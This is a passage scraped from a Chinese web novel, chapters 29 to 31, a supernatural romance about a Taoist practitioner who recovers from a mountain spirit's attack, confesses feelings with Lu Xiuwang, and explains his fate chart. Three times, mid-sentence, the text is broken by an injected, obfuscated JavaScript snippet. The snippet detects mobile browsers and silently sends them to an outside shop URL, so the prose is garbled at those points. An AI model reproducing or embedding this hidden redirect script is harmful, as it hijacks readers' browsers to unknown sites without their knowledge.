第二声比第一声清晰了一些,是陆修望的声音,带着明显的急切和慌乱。 陆叙的心脏猛地跳了一下,那声音像一只手,穿过所有的雪、所有迷雾,直接攥住了他胸腔里即将熄灭的那团火苗。 感受到他的挣扎和求生欲,那东西的气场激荡得越来越剧烈,它只有这一次机会,如果它赢了,它就能得到这个让他垂涎三尺的魂魄。 但它最终没能做出选择。 因为下一瞬间,另一个身影出现了。 身形瘦削得有点奇怪,仿佛全身只剩骨架,搭着一件褴褛的道袍,通身裹挟着极重的阴气。 黑影的翻涌猛地停滞了一瞬,下一秒就消失得无影无踪,连一丝气味都没留下。 那个穿破道袍的身影转过来,面朝陆叙,看不清脸,五官像被什么东西抹掉了,只剩下一个隐约的轮廓。微微驼着背,瘸着腿走……飘了过来,道袍空荡荡的,比起人类,反而更像是鬼魂。 一股力量从那个身影身上释放出来,从头顶压下来。陆叙刚支起身体,这股力量让他的脊柱弯了下去,跪在地上。 几张符纸从空中飘落下来,在半空中打了两个旋,落到他的手边,上面的符文笔画歪歪扭扭,不属于他学过的任何一种符箓体系。 鬼画符。 陆叙情不自禁拾起来,放进嘴里,吞了下去。 凉意从舌根坠入腹部,紧接着一阵异样的感应涌了上来。 他的右手无意识地在空中比划,他不知道自己在画什么,但手停下来的时候,卦象已经成了。 仔细一解,是二号点和三号点中间,那片他亲手插上降真香、以为只是地气紊乱的骨冢。 他太过依赖蒙卦里的水入土,总想着寻找泥地或者沼泽,而真正的佛身就在那里,被动物遗骸掩盖了不知道多少年。 陆叙俯下身去,双手贴在冰冷的地面上,向那个虚空中的身影叩首,额头触地的一刻,耳边响起了一阵苍老的笑声。 陆叙这次听懂了。 “小废物,就这么点本事还敢往山里闯。” 是他! 陆叙猛地抬头,那个身影已经化作一缕烟,被风卷着往高处飘散。 下一秒,什么都看不到了。 陆叙喉咙疼得厉害,只能挣扎着骂出一句:“老…东西,有本事你别跑。” 留给他的只有一片黑暗,偌大的山谷里再也没有一丝声音。 “陆叙!” 是陆修望的声音打破了这片死寂。 “陆叙,醒一下,别睡过去——” 滚烫的皮肤紧贴着他的后背。手臂从身后环过来箍住他的腰,力道大得像要把他的骨头勒断。另一只手掌心冰冷,不停地拍着他的脸颊。 他试着睁开眼,睫毛像是被泪水粘在了一起,费了好大力气才掀开一条缝,眼前出现帐篷的顶棚,简易照明灯的白光刺得他眼睛发疼。他想动,浑身却酸软无力,四肢像灌了铅一样沉重。 陆叙这才意识到自己的状态,高烧,而且烧得不轻。 他转头,陆修望的脸近在咫尺,满脸焦急,头发乱作一团,嘴唇是青紫色的——那种暴露在低温中、体热不断流失之后才会出现的颜色。 “……陆。”陆叙的声音从嗓子里挤出来,沙哑得不成样子,“你来了?” 陆修望没听懂他的意思,只是紧紧盯着他,确认他清醒过来后,紧皱的眉头才倏然松开,他把陆叙抱得更紧了,心脏在胸腔中劫后余生地跳动了几下。 陆叙低头看了一眼,两人皮肤贴着皮肤,陆修望的体温从背后传过来,自己身上挂满了乱七八糟的法器,铜币、葫芦、玉扣,都是自己给他戴上的,硌得皮肤发疼,佛珠也缠在手腕上,缠得很紧。 陆叙的胸口闷闷地堵了一下。 这人眼睛里布满了血丝,不知道多久没合过眼了,脖子和肩膀被冻得发紫,裸露的皮肤起了一层鸡皮疙瘩。他把所有的保暖的衣物都堆在这边,自己光着上身,在零下的温度里用体温给他当暖炉,不怕死的冻了半宿。 “阿坎的小队快到了,”陆修望的声音也哑得厉害,“马上就能换帐篷,天亮就下山。” 陆叙看着他。 “你……”陆叙开口,声音却带着哽咽,“你是傻比吗……” “别说话。” 陆修望把陆叙半扶半捞地带起来,让他靠在自己身上,陆叙的身体飘忽得厉害,脑袋不受控制地往后仰,被陆修望用手掌托住了后脑勺,轻轻扶正。 “先喝点水。” 温热的水凑到嘴边,陆叙张嘴喝了两口,水流过干裂的嗓子,疼得他皱了一下眉,但那股暖意从喉咙一路淌到胃里,整个人稍微缓了过来。 陆修望又从包里摸出高热饼干,掰成小块喂到他嘴边。 陆叙嚼了几下,又灌了口水才勉强咽下去。 “再吃一块。” “难吃。” 陆修望的动作没有商量的余地。陆叙不耐烦地叹了口气,张嘴把第二块也吃了。 饼干的热量很快见了效,胃里有了点底,脑子也没那么飘了。陆叙靠在陆修望的怀里,感觉自己终于从那片黑暗里重新回到了人间。 他偏过头,看了陆修望一眼。那个平时处处透露着他自己都没察觉的傲慢、走到哪里都是高高在上的陆修望,此刻狼狈落魄得像个乞丐,于是问他: “至于吗?” 陆修望正往嘴里塞饼干,闻言,他偏过头看了陆叙一眼。 “什么?” 陆叙低头看了一眼陆修望冻得发红的手指,又看了一眼身上挂满法器的自己。 陆叙的声音还是哑的,说话还有点费劲:“你这个人,没谈过恋爱,也没喜欢过别人,第一次喜欢一个人,就……这样?” 帐篷里安静了几秒,外面的风还在刮,帐篷布被吹得一鼓一凹,冰粒打在上面沙沙作响。 陆修望没有立刻回答。他把保温杯放回包里,又把陆叙往毯子里塞了塞,像是在想该怎么接这句话。 然后他笑了一下,很勉强,但确实是在笑。 “这很奇怪吗?我没谈过恋爱,也不太知道。” 陆叙盯着他看了几秒。 “恋爱脑也没你这样的。”陆叙说,“以身犯险,命不要了?” “不是恋爱脑。”陆修望打断他,想了想,又说,“可能是吧,我不太确定。” “我确实不太懂这些。”他的声音很低,“你问我为什么这样,我回答不上来。我就觉得……我喜欢你,我要这么做。没想过别的。” 陆叙沉默了一下。 他把自己从毯子里挖出来一点,问了一个他其实一直想问但从来没问出口的问题。 “我每天骂你,阴阳你,不高兴就恶心你,你居然喜欢我。”他皱着眉,语气里带着一丝真切的困惑,“我现在真觉得你脑子有问题了。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148748|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,又追问了一句:“所以,你到底什么时候喜欢上我的?” 陆修望没有犹豫太久。 “我猜是第一次去你家那天早上。”他说。 陆叙愣了一下。 “那天睡在沙发上,我做了一个梦。”陆修望的视线落在帐篷顶上,像是在回忆什么很有趣的东西,“梦见一只狐狸——” 他把那些梦从头到尾讲了一遍,有些印象很深,有些只剩零碎的片段,说到最后,连他自己都记不清了。 “我总觉得我认识了你很久,所以我理所当然地……放任自己喜欢上了你。” 陆叙把这件事翻来覆去地想了好几遍。以他的专业素养,他知道这梦不是普通的梦,在他们这个行当里,很多梦是特殊的,见怪不怪,比如刚刚他经历的,就是被那山精野怪闯入梦中,用恐惧编织梦境,除此之外,还有能回溯前世的、预示未来的,更多的是亲人托梦、或者鬼魂作祟。 但他依然觉得难以置信,先不说陆修望这种体质的人,一般不易通灵,更不会轻易做这些有特殊意义的梦,而且…… “居然因为一个梦就动心了吗?”他最终说了这么一句,好像还没想明白,“好像我上辈子给你下了蛊一样。” 陆修望听到这话,低低地笑了一声。 他伸手把陆叙重新抱进怀里,陆叙没有挣扎。 两个人裹在拼接的睡袋里,肩膀抵着肩膀,陆修望的下巴搁在陆叙的头顶。帐篷外的风还在呜咽,冰粒还在打帐篷布,但帐篷里面的空间被两个人的体温慢慢捂暖了。 “不是因为那些梦动心,”陆修望说,“梦只是让我认清了自己,也是一个借口,让我有胆量向你开口。” “哦?” “第一次给你发消息那天,”陆修望回忆着,“你莫名其妙骂了我一句。” 陆叙没忍住扯了一下嘴角。 陆修望的声音里没有怨气,倒像是在说一件挺有趣的事,“我看到消息后发了很大的火。因为从小到大没人那样跟我说过话,我甚至想过要不要找人收拾你一顿。” “那你怎么没找?”陆叙忍不住嘀咕。 心里又有点想笑,这人其实就是个纸老虎,看着凶,其实能听得进道理。 “气晕了。”陆修望的胸腔震了一下,是在笑。 “然后是第一次见面那天,你一直打量我,满脸写着不怀好意,看得我浑身发毛。” 陆叙踢了他一脚:“我那是帮你看面相!” “但你看起来像在盘算着怎么坑我。” “……”陆叙承认,“好吧,当时是挺想揍你一顿的。” “后来就更离谱了。”陆修望继续说,“你变着花样骂我,我又不能揍你,还得拉下脸面热情招待你,谁让你是大师呢?” “你这是对我因恨生爱了?” “嗯,因为你从可恨变得可爱了。” “……”明明身体已经回暖,但陆叙还是感觉自己起了些鸡皮疙瘩,这人怎么能这样啊,说这么恶心的话。 “再后来,我和你一起处理许瑶的事,我发现你还挺有意思,而且很……很好。” “你叫我老公那天,我的第一反应居然是,我本来就应该是你老公。” 他低头看了一眼窝在怀里的陆叙,那人把脸埋在他的颈窝里,看不见表情。 “还有那天你在阳台上躺着,说你爱我。”陆修望的声音放得很轻,“你自己可能根本没过脑子,随口就说了。但我站在门口,脑子一片空白。” “然后你故意勾引我,只是为了恶心我。”陆修望语气怎么听怎么像在控诉,但底下分明压着笑意,“恶心完我还嘲笑我,嘲笑完又往我怀里钻,你知道我当时什么反应吗?” “钩直饵咸,谁让你蠢,非要上当。”陆叙的声音闷在他脖子里,含糊不清。 “对,是我自己上当。”陆修望承认得很痛快,“但明知道你是故意的,” 他停了一下。 “还是会心动,还是忍不住想要喜欢你。” 帐篷里安静了几秒。 陆叙抬头看他,脸上的表情很复杂——有点不自在,还有一点他自己都说不清楚的东西。 陆叙忍不住点评:“好那啥。” 陆修望却没什么自知之明:“表白不都这样,我觉得还好吧。” “你说的这些,听着就像看了一部土味短剧。”陆叙皱起鼻子,“平凡小白花无意间招惹了土味霸道总裁,总裁脑子有坑,莫名其妙就动心了。” “我发现你还挺爱看这些无聊的短剧?”陆修望想了想,“你还想看什么类型的,我让人去挑挑剧本。” “我不爱看,你别转移话题。”陆叙用头撞他的肩膀,力气很小。 陆修望看着他,嘴角轻轻弯了一下。 “行吧,你说得对。”他说,“我是挺土的。” 他低下头,目光和陆叙的对上。两人之间的距离很近,呼吸交错在一起,陆叙甚至能看到他嘴唇上那些冻裂的细小伤口。 “但你不是什么平凡小白花,”陆修望说,“你很厉害,也很特别。” 陆叙的心脏突然跳动一下。 他迅速把脸转开。 “……行了。别说了,听得我胃里不太舒服。” 陆修望知道他尴尬,也没再多说什么。 帐篷外的风似乎比之前小了一些,温度回暖,困意渐渐袭来。 过了一会,陆叙忽然开口了。 声音很轻,像是自言自语。 “陷在爱情里面的人好蠢啊。” “什么都不顾,什么都不想,衣服不穿在这扮演人形暖炉,大半夜冻成狗还不肯合眼。”陆叙数落着,语气听不出什么意味,“脑子被狗,不对,你脑子被我吃了吗?总想着我干嘛?” 陆修望把手臂稍微收紧了一点。 “我不想变成你这样。”陆叙闭上眼,声音更低了,“我不想变成蠢猪。” 风声灌进帐篷的缝隙里,呜呜地响着,吵得陆叙脑子发乱。 又过了好一会儿。 “……但是。” 他的声音几乎被风盖住了。 陆修望低下头,侧过耳朵。 陆叙没有再说下去。 他换了个舒服的姿势,把脸重新埋进被子里,又把手悄悄地放到陆修望手边。 陆修望的手被冻得有点僵,平时修长笔直的手指此刻摸上去略显粗糙,陆叙用手指轻轻戳了戳。 陆修望把手掌摊开,陆叙犹豫了一秒,把手放了上去。 五指收拢,掌心相贴。 谁都没有再说话。 30.第 30 章 帐篷外传来人声和脚步声,是陆修望的人准备启程了。 阳光透过帐篷的缝隙照进来,带着一点微弱的暖意。气温比昨晚高了些,虽然还是冷,但至少不再是那种刺骨的寒。 陆修望伸手拍了拍陆叙的脸。 “醒醒。” 陆叙迷迷糊糊地睁开眼,烧暂时退了,脑子还有点发懵。 “天气正常了,该起来了。”陆修望说着,伸手去拿旁边的衣服。 陆叙揉了揉眼睛,意识慢慢回笼,陆修望已经穿戴整齐,整理好背包。 陆叙这才意识到自己还光着上身。 “你出去,我穿衣服。” 陆修望没说话,只是拿起陆叙的衣服,俯身凑近,把衣服从他头上套了下去。 “抬手。” 两个人离得太近,帐篷又太小,陆叙施展不开,只能任由对方摆弄,把胳膊一只一只地塞进袖子里。 陆修望又伸手理了理他乱糟糟的头发,动作轻柔。 “慢慢起,不急。” 简单洗漱过后,几个人已经等在那里了。 阿坎迎上来,目光落在陆叙身上,“这位先生怎么了?需要担架吗?” “昨天失温,又烧了一整晚,现在好点了。”陆修望把背包递给他,“东西和帐篷你们收拾,我背他下山就行。” 阿坎接过背包,点了点头,招呼其他人把活分了,他和另外一名队员在前面开路,带两人先下山。 陆叙站在一旁,听见这话,皱了皱眉。 “我自己能走。” 话还没说完,陆修望已经蹲下身,背对着他。 “上来。” 陆叙愣了一下。 “我现在真的还行——” 陆修望回头看了他一眼:“你是想我当着这么多人的面公主抱你?” 陆叙气得牙痒,自暴自弃似的趴到他背上。 陆修望托住他的腿,站起身,把他往上颠了颠,确保他不会滑下去。 “搂紧。” 陆叙虚虚搂住。 陆修望逗他:“没力气?不然让他们用绳子把咱俩捆一块儿?” 这个可恶的陆修望,陆叙只能紧紧环住他的脖子,这姿势让他有点不自在,又有点……说不清的感觉。 阿坎在前面开路,另一名队员走在侧翼。 陆修望脚步很稳,山路难走,下坡的地方碎石松动,有几次踩到滑的地方身体晃了一下,但他的腿撑得很牢,背上的人几乎感觉不到颠簸。 阿坎回头看了一眼这个背着个大活人走碎石坡还能面不改色的年轻人,眼睛里有些诧异。 陆叙把下巴搁在他的肩头,看着两侧的树林慢慢向后退去。阳光从树冠的缝隙里漏下来,斑驳地洒在地面上,昨晚的雪已经化了大半,只有背阴的地方还留着一层薄薄的白。空气冷而清新,没有瘴气的腥味,没有突然降温带来的恐慌,陆叙感觉自己心情好了不少。 “陆修望。” “嗯?” “……谢了。” 陆修望脚步没停,轻笑一声:“就我俩这关系,说这些虚的干嘛?” 他偏了偏头,声音里带上点那种欠收拾的调子:“实际点,我建议你亲我一口。” 陆叙趴在他背上,盯着他的后脑勺,又看了看近在咫尺的那半边脸。 话到嘴边想骂人来着。 但不知道哪根筋搭错了,脑子一抽,他低下头,对着陆修望的脸颊咬了一口。 很重。 牙齿陷进皮肉里,在那张轮廓分明的脸上留下一个货真价实的牙印。 陆修望嘶了一声,脚步彻底停住了。 走在前面的阿坎回过头,疑惑地看了他们一眼。 陆修望表情如常,抬了抬下巴示意对方继续走,然后才转头看向趴在自己背上的人。 “这是什么意思?” 陆叙咬完就后悔了,但声音依旧理直气壮:“惩罚而已,谁让你在这放屁。” 陆修望看了他两秒。 然后把声音压得很低,只有两个人能听见,语气像是真的在密谋什么见不得人的勾当。 “下次咬别的地方。”他说,“咬在脸上太明显,别人一看就知道你亲我了。” 陆叙现在恨不得掐死陆修望,但膝盖一软差点真滑下去,陆修望手臂一收又托稳了。 “老实点。”陆修望拍了拍他,继续往前走。 陆叙把脸埋进他的肩膀里,不说话了,脸颊隔着衣料贴在陆修望的后背上,不知不觉竟然睡了过去。 回到住处已经是下午了。陆叙脚沾地的瞬间晃了一下,被陆修望伸手扶住,他没吭声,只是轻轻推开对方的手,自己站稳。 犹豫片刻,他抬手碰了碰陆修望的手背:“我去洗澡,你也赶快休息。” 陆修望点了点头,目送他走进走廊,走回房间,这才收回视线,转头去安排后续的事。 陆叙洗了个舒服的热水澡,本想等陆修望回来再讨论后续计划,可身体太诚实了,头一碰到枕头,意识就沉了下去。 再醒来时,窗外已经暗了。 卧室里只剩一盏暖黄色的落地灯,陆叙从床上坐起,头又开始隐隐作痛,床头放着一杯水,还带着点温热,旁边搁了两片退烧药。 他把药吞了,灌了半杯水,披上外套走出卧室。 客厅里,陆修望和山提大师面对面坐着,山提的神色平和,看到陆叙出来的那一刻,他的目光在陆叙脸上停了片刻,这才舒了一口气。 “施主的气色,比贫僧预想的好一些。” “大师。”陆叙走过去,在沙发上坐下,“你怎么来了?” “贫僧对这件事有些不解。”山提说,“陆施主已经说了大致经过,接下来劳烦施主再仔细与我讲讲。” 陆修望没说话,端了一碗粥放到陆叙手边,没说话,示意他先吃。 陆叙端起来喝了两口,胃里终于暖了起来。他放下碗,从鬼打墙讲起,着重说了说那个迷幻的梦境。 梦里那个身影他没提,只说自己忽然有了感应,知晓了那玩意儿的具体位置。 偶然有感这种事在修行之人中很常见,山提没太大反应,陆修望倒是疑惑地皱了皱眉。 “施主。”山提思索片刻后开口,“贫僧有一个猜测,想与二位印证。” “那尊野佛上依附的东西,恐怕不是山里修行的灵兽灵物。” “这类精怪,贫僧这些年在象山一带见过不少,也处理过几桩它们惹出的事端。”山提语气平缓,“但无论修行到什么地步,灵兽行事都有章法,极少会主动纠缠人间因果。” 他抬眼:“施主描述的那个东西不太一样,它不依附山水草木,似乎也没有灵性和慧根。” 陆叙接过话:“我也怀疑过,它应该是瘴气和怨气凝聚而成的。” 山提点了点头:“山里的瘴气、怨气、死气混合在一起,抢占了那尊无主佛像的躯壳,接受供奉,久而久之,便凝聚成了精怪。它没有前世,没有来历,没有姓名,是这座山里自然生长出来的东西。” 陆修望听到这里,插了一句:“那它是怎么缠上那三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152878|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的?” 山提问他:“施主可还记得,贫僧之前说过,野佛存续至今必有其依仗?” 陆修望点头。 “它的依仗就是人心。”山提的声音微微沉下去,“这种精怪没有自己的意志,一切行为都是本能,趋利、避害、觅食,它的食物就是恐惧,是敬畏,是人在极端环境下不由自主生出的屈从之心。” 陆叙附和:“所以它对误入山林的人做的那些事,制造迷障、幻觉、影响梦境,都是为了把人逼到绝境。” “人在绝境中会恐惧,恐惧到极点就会求助。”陆叙语气平静,仿佛昨晚的那场梦境并不存在,“当一个人走投无路时,只能祈求它保佑,这一跪一拜就相当于建立了联系。精怪吞噬人的惧意,同时把自己的气息留在来人身上。如果来人心存感恩,日后为它供奉香火或念诵祈福,它就能得到源源不断的滋养。” “但那三个人不是会感恩的人。” “没错。”山提点头,“他们当年在那尊佛像前跪拜求助。平安回到山下后,很快就把这件事抛在脑后了。精怪感知不到滋养,再加上现在很少有人能进禁区,精怪得到的滋养在减少,所以精怪就循着他们命里的因果找上门来了。” 陆修望微微皱眉:“所以梦里追着他们的那个东西,不是周成?” 陆叙点头:“这种气息幻化而成的精怪没有自己的面目,它呈现出来的形象,是从被缠上之人的内心深处抽取的。那三个人心里最恐惧的是周成回来找他们,所以精怪就化作了周成的模样。” 陆叙想起那三个人的样子。慌张、恐惧,却又满口谎言,把自己的罪行藏得严严实实。 梦里追杀他们的,根本就是他们自己种下的因果,精怪只是借了个壳。 “还有一个问题。”陆修望开口,“那东西怎么能追到我们那边去?” 还闯入陆叙的梦里不愿离开。 山提思索了一会才开口。 “两个原因。” “第一,精怪应该是在庙毁之前就已经成了气候。佛像里原本供奉的神仙离开后,它取而代之,接受香火。庙毁后,禁行区的瘴气和怨气持续灌注,它吸纳的能量远超一般精怪。” “第二,就是那座骨冢。过去百年间,不知有多少动物尸骨被堆积在那里,尸骨本身携带死气和残存的怨念,与佛像在地下连成了一片。日复一日,年复一年,那尊佛像吸纳的力量,远远超出了它本应有的程度。” “普通山中精怪,活动范围不会超过气场覆盖区域。但这个东西吸纳了太多力量,又被人的怨念和恐惧反复喂养,它的精力便可以逃出地界,顺着因果和那一丝联系,影响到界外的人。” 陆叙端起粥喝了一口。 “所以,”他开口,安排好下一步计划,“要解决这件事,我得挑个日子把佛像从地底下挖出来。” 山提点头:“佛像是核心。只要核心还在,精怪就不会消散。” “挖出来之后呢?”陆修望问。 山提和陆叙几乎同时开口。 山提说的是“净化”。 陆叙说的是“看情况”。 陆叙先让了一步:“大师先说。” “佛像本身并无善恶。”山提的语气温和,“它被弃于荒山,是人的疏忽,不是佛的罪孽。如果那东西愿意让出躯壳,贫僧愿以佛法超度,净化其上的晦气。" 他看向陆叙:“施主的意思呢?” “如果能单独超度那东西肯定最好。”他说,“但如果那东西已有自主意识,冥顽不灵,那就只能把二者一起毁了。” 31.第 31 章 和山提聊完正事,脑子清醒了,头却疼得更厉害了。 陆叙打开手机想看看游戏更新,手指划了两下屏幕就划不动了。他把手机扔到一边,闭上眼,心想休息一会儿就好,但身体比他诚实,从进山到现在绷了太久的弦在这一刻彻底松开,精神放松下来,免疫系统立刻开始清算。 陆修望找来医生给他扎了一针,吃了药,这才迷迷糊糊睡了过去。 耳边传来门被推开的声音。 又来了。 这已经是陆修望今晚第——他数不清第几次了。这小子总是这样,脚步声放得很轻,怕吵醒他,但其实他每次都能听见,只是懒得睁眼。 陆修望走到床边,俯身探了探他的额头。 指腹有些凉,贴在滚烫的皮肤上。陆叙下意识往那点凉意里蹭了蹭,然后才后知后觉地意识到自己在做什么。 他猛地睁开眼。 然后愣住了。 陆修望刚洗完澡。头发半干,赤着上身站在床边。暖色的灯光从侧面打过来,勾勒出肩颈轮廓和流畅的肌肉线条。宽松的睡裤堪堪挂在胯骨上,显摆似的露出一截人鱼线。 陆叙瞳孔地震。 这什么雷霆穿搭。 “看什么呢?”陆修望愣了一下,然后换了副嘴脸,懒洋洋地笑了一声,声音还带着沐浴后的慵懒,“眼睛睁这么大。” 真的好不要脸。 陆叙迅速把视线移开,清了清因发烧而沙哑的嗓子,尽量让自己的语气听起来稀松平常:“……你在我这秀什么呢?” “喜欢吗?” “你有病吧?我喜欢个屁。”陆叙翻了个身背对他,身上还有点冷,不禁把自己裹进被子里。 陆修望没动:“你之前明明问过我有几块腹肌,现在你可以自己数一数。” 陆叙抓起枕头朝他扔过去:“恶心死了,把你的衣服穿上。” 陆修望没回应,陆叙能感觉到那道目光还落在自己身上。然后床垫塌陷了一角,那人在他身侧坐了下来。 “这屋里太闷了。”陆修望的声音从头顶传来,带着点笑意,“你发烧感觉不到,但我挺热的。” 热? 陆叙在心里骂了一句脏话。这大冬天热个屁啊。 分明就是故意的。 “你能不能有点男德?小小年纪不学好,成天干些伤风败俗的事。” “怎样才算学好?”陆修望的声音近了一点,“你教我。” 陆叙把被子又往上拽了拽,不想再理这个人。 “陆修望。”声音从被窝里传出来,“滚出去。” 回应他的是一声低低的笑。 床边的人没走,反而凑近了些。陆叙感觉到呼吸从耳畔擦过,温热的,带着沐浴露的清淡气味,后颈的汗毛炸了起来。 “陆叙。”陆修望的声音压得很低,“你耳朵红了。” 陆叙猛地坐起来。 “陆修望!你怎么这么不知羞耻!” 陆修望一脸无辜:“抱歉,我以为我们现在是夫妻俩合法同居。” 陆叙瞪他:“谁和你夫妻俩?” 陆修望伸手按住他的肩膀,力道不大,却稳稳地把他摁回枕头上,然后反问道:“昨晚你不是答应我了吗?” “我答应什么了?” “你说了‘但是''。” 陆叙冷笑:“什么但是?我发烧烧糊涂说的话也算?” “算。”陆修望表情正经,语气却是十足的耍赖,“你当时意识很清楚,主动牵了我的手,还主动抱住我的腰。” 陆叙更烦躁了。就算他真的同意了,陆修望居然敢在交往第一天就来恶心他。 他一撑手坐了起来,脑袋一阵发晕,但一股无名火把晕眩压了下去,伸手就朝陆修望推了过去。 “你烦不烦——” 陆修望没躲。 他顺着陆叙推过来的力道,身体往后一仰,肩膀落在床垫上,发出一声闷响。 陆叙推完才反应过来,这人根本没抵抗,而是借着他的力顺势躺了下去。而他推过去的时候身体跟着前倾,整个人的重心全压在了对方身上。 于是现在的处境就是,自己双手撑在陆修望的胸口,膝盖跪在他腰侧,姿势极其不雅观。 陆修望躺在那里仰着头看他,嘴角挂着那种欠收拾的笑,像在打量什么有趣的东西。 “哎,你要是知道我有一个如此凶悍的老婆……”陆修望慢悠悠地开口了,“而我是一个如此懦弱的老公,你也会可怜我的。” 陆叙僵在那里,这人居然再一次用他说过的话来烦他。 他想抓过枕头闷死他,但掌心贴在陆修望的胸口,隔着皮肤能清晰地感觉到心跳的震动。 那心跳并不像表面看起来那么从容。 陆叙猛地回过神来,这才发现自己已经在对方身上坐了好一会儿了。 他想跑。 身体动得比脑子快,膝盖一撑就要从陆修望身上翻下去—— 一只手扣住了他的腰,五指收紧,力道隔着薄薄的睡衣传来,陆叙浑身一激灵。 下一秒,陆修望撑起身子,另一只手揽住他的后背,两个人的位置在一瞬间调换,陆叙的后背落在床垫上,头陷进柔软的枕头里,陆修望单手撑在他旁边,俯身看着他。 距离近得过分,鼻尖几乎碰上鼻尖,他能听到自己的心跳在耳膜里擂鼓。 对方喉结动了动,呼吸也跟着乱了,又重又急。 两人的目光撞在一起,陆叙看出陆修望眼里的渴望,还有一些更危险的东西,对方看了他很久,然后低下头,陆叙下意识闭上眼。 吻落在额头,轻得几乎感觉不到。 陆修望直起身,掐在陆叙腰上的手松开了,改为轻轻拍了两下。 “还在发烧。”陆修望的语气忽然变得很正常,像是刚才什么都没发生过,“别太闹腾,过后再……你。” 他平复了一下呼吸,拉过被子把人重新裹好,动作仔细,然后起身拿了件T恤套上,走到另一侧躺了下来。 陆叙躺在被子里,盯着天花板,感觉自己大脑冒烟了。 他的额头上还留着那一碰的触感,很轻,几乎像是错觉,但皮肤上被激起的那点鸡皮疙瘩是真的。 这姓陆的什么情况?! “你不能睡太久。”陆修望的声音从旁边传来,“连着烧了两天,睡太多会头疼。” 陆叙哼了一声:“那怎么办?你已经把我吵醒了。” “陪你打会儿游戏?” “没力气。” “看电影?看短剧?” “说了我不爱看。” “那我陪你讲讲话。”陆修望侧过身,手肘撑在枕头上,另一只手自然地搭在陆叙的被子上方。 陆叙没拒绝,算是默认了。 “我一直想问你一件事。”陆修望的声音放得很轻,“山里那个东西,为什么一直缠着你?” 陆叙没立刻回答,他盯着天花板,想了好一会。 再开口时,语气里少了刚刚玩闹时的吊儿郎当,变得异常平静。 “因为我的体质,或者说命格。” 陆修望没出声,等他往下说。 “你知道八字吗?”陆叙问。 “现在了解了不少,但我还是觉得,不太……科学。” “你就别纠结科不科学了。”陆叙把被子拉到下巴的位置,闭上眼睛,“我的八字很特殊,我师父第一次给我批命的时候,他盯着排盘看了很久,一句话没说。” “癸亥年,丁巳月,辛酉日,壬子时。” 陆修望想了想,他偏过头,看着陆叙的侧脸,明明性格还像个小孩,怎么就27了呢?但这样一想,又觉得对方更可爱了。 把思绪收回,关于八字他知道的不多,但“癸、丁、辛、壬”他还是略知一二,三阴一阳,阴干占了大半。 “日主辛金坐酉,酉是辛的帝旺之地,看着好像根基很旺,但问题出在整个命盘的结构上。” 陆叙伸出手,在被子外随意比划了一下。 “阴干三个,阳干只有丁火一个,地支亥、巳、酉、子,也是阴气偏重,如果是纯阴反而简单了,纯阴走极端就行,阴阳驳杂,两股力量互相推拉,都不消停。” 他继续说。 “印星偏旺、日主身弱,这你可能很难理解,偏印又叫枭神,它生日主的方式不是温和的滋养,而是一种控制性的、过度的保护。” “加上地支里的水极重,巳酉半合金局暗生水气,偏印的力量远远超出了日主能承载的限度。” “就像我以前养花,浇的水太多了,根泡烂了。”陆修望试着理解。 陆叙有些意外:“你还养过花吗?” “嗯,”陆修望转头看向他,回答道:“最近重新开始养了,不过现在我能把他养好。” 陆叙像是察觉到什么,避开视线继续往下说。 “印旺身弱的人,早慧,心细,情绪和环境的感受力极强。梦感重,容易做梦,而且梦境的信息密度比普通人高得多。对抽象的、非逻辑的东西上手特别快,特别是玄学这种没什么章法可循的领域。” “这些是好的方面。”他说,“坏的方面是,气机不定,说白了就是一点风吹草动就能牵动整个命盘的平衡。容易恍惚、失眠多梦,容易受外界场域的影响。” “这就是你能看到那些东西的原因?” “一部分。”陆叙说。 “冲刑并见,亥巳相冲是水火冲,天生的矛盾对立,合而不合,局势动荡。这种命盘反映在人身上,那就是关窍未固,阴阳门未闭。” “关窍就是人体上的感知通道。普通人出生之后,这些通道是自然封闭的,只留下五感用于日常生活。但我的关窍从来没有完全关上过,它们是虚掩的,就像一扇扇没上锁的门,阴间的气息能通过这个通道找到我,我也能通过它感知到阴间的事物。这又不同于阴阳眼,更像是通灵。” “所以昨晚在帐篷里你其实并不是做梦?” 陆叙点了点头:“不全是做梦,是三魂不固。正常人的三魂牢牢锁在身体里,但我的三魂和身体之间的联系很松。高烧、极度疲劳、阴气侵体,任何一种刺激都可能让魂魄脱窍。” “这也是那东西找上我的原因之一,它不仅想享用我的灵魂,更想趁机占据我的躯壳。” 陆修望搭在被子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“三种情况叠在一起,我这个盘就成了一团解不开的乱麻。不管从哪个角度去推,都会在某个环节撞上矛盾。不是我师父学艺不精,是这个盘本身就不给人断的机会。” 他顿了一下。 “所以,他有另一个猜测——有人在暗中改过我的命。但改命这种事,代价极大,牵涉甚多,我却从没有感觉到什么异常。” “所以这件事,到现在还是一笔糊涂账。” 房间里安静了下来。 陆叙闭着眼,这些东西他从来没有和任何外人说过——师姐师兄知道,但他们是一家人。 陆修望是第一个。 他也说不清自己是什么时候开始信任这个人的。毕竟第一印象非常糟糕。讲话难听,冷着一张狗脸,脾气也大,像是从精神病院跑出来的脑残。 